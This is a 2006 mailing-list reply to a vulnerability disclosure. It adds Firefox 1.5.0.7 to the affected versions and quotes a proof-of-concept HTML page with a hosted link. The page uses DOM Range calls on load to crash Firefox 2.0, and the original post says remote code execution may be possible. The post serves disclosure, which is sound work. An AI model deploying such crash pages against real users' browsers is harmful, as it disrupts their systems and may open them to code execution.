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Re: New Flaw in Firefox 2.0: DoS and possible remote code execution



Firefox 1.5.0.7 is also vulnerable (to DoS at least).

On Tue, 2006-10-31 at 09:24 +0000, xxxx@xxxxxxxxx wrote:
> New Flaw in Firefox 2.0: DoS and possible remote code execution
> 
> PoC here: http://werterxyz.altervista.org/Firefox2Range.htm
> 
> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
> <html>
> <head>
> <script type="text/javascript">
> function do_crash()
> {
> var range;
> 
> range = document.createRange();
> range.selectNode(document.firstChild);
> range.createContextualFragment('<span></span>');
> }
> </script>
> </head>
> <body onload="do_crash()">
> <p>Good bye Firefox!</p>
> </body>
> </html>

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